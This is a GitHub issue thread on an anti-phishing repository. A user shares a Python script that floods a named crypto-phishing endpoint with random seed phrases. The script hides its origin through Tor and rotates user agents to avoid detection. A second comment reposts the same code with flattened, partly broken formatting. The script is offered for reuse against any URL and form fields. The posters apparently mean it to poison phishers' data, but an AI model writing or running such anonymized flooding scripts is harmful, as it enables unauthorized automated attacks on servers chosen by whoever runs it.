CybrZone / phishkiller

The Unlicense
92 stars 43 forks source link

phishkiller for crypto hackers #35

Open techroy23 opened 2 months ago

techroy23 commented 2 months ago

Hi I would like to share my code

Features:

  1. Use TOR to hide your IP.
  2. Always get fresh user-agent from : https://github.com/HyperBeats/User-Agent-List
  3. Kill script if it doesnt detect a public ip via tor.
  4. Cycle counter to limit the script.

PS: just replace the 'url' and 'data' under func_attack depending on the data needed.

import requests
from mnemonic import Mnemonic
import time
import sys
import random

def func_fetch_user_agents(url):
    try:
        response = requests.get(url)
        if response.status_code == 200:
            user_agents = response.text.splitlines()
            return user_agents
        else:
            print(f"Failed to fetch user agents from {url}")
            return []
    except requests.RequestException as e:
        print(f"Error fetching user agents from {url}: {e}")
        return []

def func_get_user_agents():
    urls = [
        'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-android.txt',
        'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-desktop.txt',
        'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-ios.txt',
        'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-linux.txt',
        'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-macos.txt'
    ]
    user_agents = []
    for url in urls:
        user_agents.extend(func_fetch_user_agents(url))
    return user_agents

def func_get_random_user_agent(user_agents):
    return random.choice(user_agents)

proxies = {'http': 'socks5h://127.0.0.1:9050', 'https': 'socks5h://127.0.0.1:9050'}

def func_get_public_ip():
    try:
        response = requests.get('https://icanhazip.com', proxies=proxies, headers={'User-Agent': func_get_random_user_agent(user_agents)})
        if response.status_code == 200:
            return response.text.strip()
        else:
            sys.exit(1)
            return None
    except requests.RequestException as e:
        print(f"Error fetching public IP: {e}")
        return None

def func_gen_random_seed_phrase():
    mnemo = Mnemonic("english")
    return mnemo.generate(strength=256)

def func_attack(seed_phrase):
    url = 'https://web.bit-box.digital/block-onauth.php'
    data = {'phrase': seed_phrase, 'submit': 'submit'}
    try:
        get_agents = func_get_random_user_agent(user_agents)
        headers = {'User-Agent': get_agents}
        print(f"Sending : {get_agents[:50]} ...")
        response = requests.post(url, data=data, proxies=proxies, headers=headers)
        print(f"Status code: {response.status_code}")
    except requests.RequestException as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    user_agents = func_get_user_agents()
    if not user_agents:
        print("Unable to retrieve user agents. Using default user agents.")
        user_agents = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/113.0",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 OPR/95.0.0.0",
            # Add more user agents as needed
        ]

    public_ip = func_get_public_ip()
    if public_ip:
        print(f"Your public IP address is: {public_ip}")
    else:
        print("Unable to retrieve public IP address.")
        sys.exit(1)

    cycle_count = 0
    max_cycles = 5

    while cycle_count < max_cycles:
        random_seed_phrase = func_gen_random_seed_phrase()
        print(f"Sending : {random_seed_phrase[:50]} ...")
        func_attack(random_seed_phrase)
        cycle_count += 1

    print("Finished 5 cycles. Restarting ...")
    sys.exit(0)
Governmentchristen commented 3 weeks ago

import requests from mnemonic import Mnemonic import time import sys import random

def func_fetch_user_agents(url): try: response = requests.get(url) if response.status_code == 200: user_agents = response.text.splitlines() return user_agents else: print(f"Failed to fetch user agents from {url}") return [] except requests.RequestException as e: print(f"Error fetching user agents from {url}: {e}") return []

def func_get_user_agents(): urls = [ 'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-android.txt', 'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-desktop.txt', 'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-ios.txt', 'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-linux.txt', 'https://raw.githubusercontent.com/HyperBeats/User-Agent-List/main/useragents-macos.txt' ] user_agents = [] for url in urls: user_agents.extend(func_fetch_user_agents(url)) return user_agents

def func_get_random_user_agent(user_agents): return random.choice(user_agents)

proxies = {'http': 'socks5h://127.0.0.1:9050', 'https': 'socks5h://127.0.0.1:9050'}

def func_get_public_ip(): try: response = requests.get('https://icanhazip.com', proxies=proxies, headers={'User-Agent': func_get_random_user_agent(user_agents)}) if response.status_code == 200: return response.text.strip() else: sys.exit(1) return None except requests.RequestException as e: print(f"Error fetching public IP: {e}") return None

def func_gen_random_seed_phrase(): mnemo = Mnemonic("english") return mnemo.generate(strength=256)

def func_attack(seed_phrase): url = 'https://web.bit-box.digital/block-onauth.php' data = {'phrase': seed_phrase, 'submit': 'submit'} try: get_agents = func_get_random_user_agent(user_agents) headers = {'User-Agent': get_agents} print(f"Sending : {get_agents[:50]} ...") response = requests.post(url, data=data, proxies=proxies, headers=headers) print(f"Status code: {response.status_code}") except requests.RequestException as e: print(f"Error: {e}")

if name == "main": user_agents = func_get_user_agents() if not user_agents: print("Unable to retrieve user agents. Using default user agents.") user_agents = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/113.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 OPR/95.0.0.0",

Add more user agents as needed

    ]

public_ip = func_get_public_ip()
if public_ip:
    print(f"Your public IP address is: {public_ip}")
else:
    print("Unable to retrieve public IP address.")
    sys.exit(1)

cycle_count = 0
max_cycles = 5

while cycle_count < max_cycles:
    random_seed_phrase = func_gen_random_seed_phrase()
    print(f"Sending : {random_seed_phrase[:50]} ...")
    func_attack(random_seed_phrase)
    cycle_count += 1

print("Finished 5 cycles. Restarting ...")
sys.exit(0)